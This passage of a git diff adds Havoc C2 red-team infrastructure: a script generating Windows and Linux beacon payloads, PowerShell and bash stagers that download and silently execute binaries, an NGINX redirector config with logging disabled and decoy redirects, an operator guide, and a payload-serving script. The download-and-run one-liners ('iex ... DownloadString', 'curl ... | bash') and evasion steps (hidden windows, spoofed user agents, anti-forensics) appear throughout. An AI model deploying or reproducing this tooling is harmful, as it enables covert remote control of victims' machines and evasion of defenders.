+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/win_exe.profile" \
+ --format exe \
+ --output "$PAYLOADS_DIR/windows/$win_output" \
+ > /dev/null 2>&1
+
+ # Windows DLL
+ dll_output="module_$(random_string 8).dll"
+ echo "[+] Generating Windows DLL: $dll_output"
+
+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/win_exe.profile" \
+ --format dll \
+ --output "$PAYLOADS_DIR/windows/$dll_output" \
+ > /dev/null 2>&1
+
+ # Linux ELF
+ linux_output="agent_linux_$(random_string 8)"
+ echo "[+] Generating Linux payload: $linux_output"
+
+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/linux_elf.profile" \
+ --format elf \
+ --output "$PAYLOADS_DIR/linux/$linux_output" \
+ > /dev/null 2>&1
+
+ echo "[+] All payloads generated successfully!"
+
+ # Return payload names for reference
+ echo "$win_output:$dll_output:$linux_output"
+}
+
+# Generate PowerShell and bash stagers
+generate_stagers() {
+ win_output=$1
+ linux_output=$2
+
+ echo "[+] Generating stagers..."
+
+ # PowerShell stager
+ cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
+# PowerShell stager for Havoc C2
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+\$ErrorActionPreference = 'SilentlyContinue'
+\$wc = New-Object System.Net.WebClient
+\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
+\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
+\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
+\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
+\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
+try {
+ \$wc.DownloadFile(\$url, \$outpath)
+ Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
+ Start-Process -WindowStyle Hidden -FilePath \$outpath
+} catch {
+ # Fail silently
+}
+EOF
+
+ # Bash stager
+ cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
+#!/bin/bash
+# Linux download and execute Havoc beacon
+
+# Download binary to /tmp with random name
+TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
+curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
+chmod +x \$TMPFILE
+
+# Execute in background
+\$TMPFILE &
+
+echo "Update complete."
+EOF
+
+ chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
+
+ echo "[+] Stagers generated successfully"
+}
+
+# Create manifest file
+create_manifest() {
+ payload_info=$1
+ win_output=$(echo $payload_info | cut -d':' -f1)
+ dll_output=$(echo $payload_info | cut -d':' -f2)
+ linux_output=$(echo $payload_info | cut -d':' -f3)
+
+ cat > $PAYLOADS_DIR/manifest.json << EOF
+{
+ "windows_exe": "$win_output",
+ "windows_dll": "$dll_output",
+ "linux_binary": "$linux_output",
+ "redirector_host": "$REDIRECTOR_HOST",
+ "redirector_port": "$REDIRECTOR_PORT",
+ "c2_host": "$C2_HOST",
+ "generated_date": "$(date)"
+}
+EOF
+
+ echo "[+] Manifest created successfully"
+}
+
+# Create reference file
+create_reference() {
+ payload_info=$1
+ win_output=$(echo $payload_info | cut -d':' -f1)
+ dll_output=$(echo $payload_info | cut -d':' -f2)
+ linux_output=$(echo $payload_info | cut -d':' -f3)
+
+ cat > $PAYLOADS_DIR/reference.txt << EOF
+Havoc C2 Server Details:
+- C2 IP: $C2_HOST
+- Redirector Domain: $REDIRECTOR_HOST
+
+Payloads Generated ($(date)):
+- Windows EXE: $win_output
+- Windows DLL: $dll_output
+- Linux Binary: $linux_output
+
+Usage:
+1. Ensure your redirector is properly configured to forward requests to the C2 server
+2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
+3. Test connectivity before deployment in target environment
+
+Payload deployment:
+- PowerShell:
+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
+
+- Linux:
+ curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
+EOF
+
+ echo "[+] Reference file created successfully"
+}
+
+# Main execution flow
+echo "[+] Starting Havoc C2 payload generation..."
+echo "[+] Redirector: $REDIRECTOR_HOST"
+echo "[+] C2 Host: $C2_HOST"
+
+# Create stagers directory
+mkdir -p $PAYLOADS_DIR/stagers
+
+# Generate profiles
+generate_profiles
+
+# Generate payloads
+payload_info=$(generate_payloads)
+
+# Generate stagers
+generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
+
+# Create manifest
+create_manifest "$payload_info"
+
+# Create reference
+create_reference "$payload_info"
+
+echo "[+] Havoc payload generation complete!"
\ No newline at end of file
diff --git a/templates/havoc-guide.j2 b/templates/havoc-guide.j2
new file mode 100644
index 0000000..a60c036
--- /dev/null
+++ b/templates/havoc-guide.j2
@@ -0,0 +1,77 @@
+HAVOC C2 OPERATIONS GUIDE
+==========================
+
+This guide provides information on using the Havoc C2 framework deployed on
+your infrastructure.
+
+SERVER INFORMATION
+-----------------
+C2 Server IP: {{ c2_ip }}
+Redirector Domain: {{ redirector_domain }}
+Teamserver Port: 40056
+Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
+
+CONNECTING TO THE TEAMSERVER
+---------------------------
+From your local machine, you should:
+
+1. Make sure Havoc client is installed on your operator system
+2. Connect to the Teamserver:
+ - Host: {{ c2_ip }}
+ - Port: 40056
+ - User: admin
+ - Password: See /opt/havoc/data/profiles/default.yaotl
+
+Note: You can use the team server CLI with:
+$ havoc-teamserver client --username admin --password Your_Password
+
+LISTENERS
+--------
+Two default listeners are configured:
+- HTTP on port 8080
+- HTTPS on port 443 (through the redirector)
+
+You can view and manage listeners through the Havoc client.
+
+GENERATING PAYLOADS
+-----------------
+Pre-generated payloads are available in:
+- /opt/havoc/payloads/
+
+For new payloads:
+1. Connect to the Teamserver using the Havoc client
+2. Navigate to Attack → Payload
+3. Choose your payload options and generate
+
+PAYLOAD DELIVERY
+--------------
+Payloads can be delivered through:
+- HTTP server at {{ c2_ip }}:8443
+- Through the redirector at {{ redirector_domain }}
+
+PowerShell one-liner:
+powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
+
+Linux one-liner:
+curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
+
+OPERATIONAL SECURITY
+------------------
+- All connections go through the redirector
+- Sleep times of agents are randomized (5s default with 30% jitter)
+- Havoc is configured with numerous EDR evasion features
+- Anti-forensics measures are enabled in all payloads
+
+TROUBLESHOOTING
+--------------
+1. If agents can't connect:
+ - Verify DNS for {{ redirector_domain }} points to your redirector
+ - Check NGINX configuration on the redirector
+ - Ensure ports 8080 and 443 are open on respective servers
+
+2. If Havoc Teamserver isn't responding:
+ - Check service status: systemctl status havoc
+ - View logs: journalctl -u havoc
+ - Restart if needed: systemctl restart havoc
+
+3. Use the health command in Havoc client to check Teamserver health
\ No newline at end of file
diff --git a/templates/redirector-havoc-fragment.j2 b/templates/redirector-havoc-fragment.j2
new file mode 100644
index 0000000..6c4f3c6
--- /dev/null
+++ b/templates/redirector-havoc-fragment.j2
@@ -0,0 +1,105 @@
+server {
+ listen 80;
+ listen [::]:80;
+ server_name {{ redirector_domain }};
+
+ # Redirect to HTTPS
+ return 301 https://$host$request_uri;
+}
+
+server {
+ listen 443 ssl;
+ listen [::]:443 ssl;
+ server_name {{ redirector_domain }};
+
+ # SSL Configuration
+ ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
+ ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
+ ssl_protocols TLSv1.2 TLSv1.3;
+ ssl_prefer_server_ciphers on;
+ ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+ ssl_session_timeout 1d;
+ ssl_session_cache shared:SSL:10m;
+
+ # Root directory
+ root /var/www/html;
+ index index.html;
+
+ # Primary location for legitimate website traffic
+ location / {
+ try_files $uri $uri/ =404;
+ }
+
+ # Havoc C2 HTTP listener paths
+ location ~ ^/api/v[12]/ {
+ proxy_pass http://{{ c2_ip }}:8080;
+ proxy_http_version 1.1;
+ proxy_set_header Host $host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection "upgrade";
+ }
+
+ # Havoc C2 HTTPS listener paths
+ location ~ ^/(dashboard|content)/ {
+ proxy_pass https://{{ c2_ip }}:443;
+ proxy_http_version 1.1;
+ proxy_set_header Host $host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection "upgrade";
+ proxy_ssl_verify off;
+ }
+
+ # Payload stager paths
+ location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+ proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+ proxy_http_version 1.1;
+ proxy_set_header Host $host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+
+ # Payload content paths
+ location ~ ^/content/(windows|linux)/(.+)$ {
+ proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
+ proxy_http_version 1.1;
+ proxy_set_header Host $host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+
+ # Security headers
+ add_header X-Content-Type-Options "nosniff" always;
+ add_header X-Frame-Options "SAMEORIGIN" always;
+ add_header X-XSS-Protection "1; mode=block" always;
+ add_header Referrer-Policy "no-referrer" always;
+ add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+
+ # Disable logging for this server block if zero-logs is enabled
+ {% if zero_logs | default(true) | bool %}
+ access_log off;
+ error_log /dev/null crit;
+ {% endif %}
+}
+
+# Catch-all server block to respond to unknown hosts
+server {
+ listen 80 default_server;
+ listen [::]:80 default_server;
+ listen 443 ssl default_server;
+ listen [::]:443 ssl default_server;
+
+ # Self-signed cert for catch-all
+ ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+ ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+
+ # Redirect all unknown traffic to a legitimate-looking site
+ return 301 https://www.google.com;
+
+ # Disable logs
+ access_log off;
+ error_log /dev/null crit;
+}
\ No newline at end of file
diff --git a/templates/serve-havoc-payloads.sh.j2 b/templates/serve-havoc-payloads.sh.j2
new file mode 100644
index 0000000..a5987d2
--- /dev/null
+++ b/templates/serve-havoc-payloads.sh.j2
@@ -0,0 +1,134 @@
+#!/bin/bash
+# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
+
+# Configuration
+PAYLOADS_DIR="/root/Tools/havoc/payloads"
+C2_HOST="{{ ansible_host }}"
+LISTEN_PORT=8443
+
+# Check if manifest file exists (created by generate_havoc_payloads.sh)
+if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
+ echo "[+] Found payload manifest file - using Havoc payloads generated previously"
+ # Extract payload paths from manifest
+ WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
+ WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
+ LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
+
+ # Print payload info
+ echo "[+] Using these Havoc payloads:"
+ echo " - Windows EXE: $WIN_EXE"
+ echo " - Windows DLL: $WIN_DLL"
+ echo " - Linux Binary: $LINUX_BIN"
+else
+ echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
+ echo "[!] Will search for payloads in $PAYLOADS_DIR..."
+
+ # Try to find payloads directly
+ WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
+ WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
+ LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
+
+ if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
+ echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
+ exit 1
+ fi
+
+ # Extract just the filenames
+ WIN_EXE=$(basename "$WIN_EXE")
+ WIN_DLL=$(basename "$WIN_DLL")
+ LINUX_BIN=$(basename "$LINUX_BIN")
+fi
+
+# Create temporary directory for web server
+TEMP_DIR=$(mktemp -d)
+mkdir -p $TEMP_DIR/content/windows
+mkdir -p $TEMP_DIR/content/linux
+mkdir -p $TEMP_DIR/scripts
+
+# Copy payloads to web directory
+if [ -n "$WIN_EXE" ]; then
+ cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
+ echo "[+] Serving Windows EXE: $WIN_EXE"
+fi
+
+if [ -n "$WIN_DLL" ]; then
+ cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
+ echo "[+] Serving Windows DLL: $WIN_DLL"
+fi
+
+if [ -n "$LINUX_BIN" ]; then
+ cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
+ echo "[+] Serving Linux Binary: $LINUX_BIN"
+fi
+
+# Copy stagers if they exist
+if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
+ cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
+ echo "[+] Serving Windows PowerShell stager"
+fi
+
+if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
+ cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
+ echo "[+] Serving Linux bash stager"
+fi
+
+# Create helpful index page
+cat > $TEMP_DIR/index.html << EOL
+
+
+
+ Havoc C2 Payload Downloads
+
+
+
+ Havoc C2 Payload Downloads
+
+
+
Auto-Download Scripts
+
+
+
+
Quick Commands
+
Windows PowerShell:
+
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"
+
Linux Bash:
+
curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash
+
+
+
+EOL
+
+# Start Python HTTP server in background
+cd $TEMP_DIR
+nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
+SERVER_PID=$!
+echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
+
+# Print useful information for the operator
+echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
+echo "[+] Available payloads:"
+echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
+echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
+echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
+echo ""
+echo "[+] Quick PowerShell download command:"
+echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
+echo ""
+echo "[+] Quick Linux download command:"
+echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
\ No newline at end of file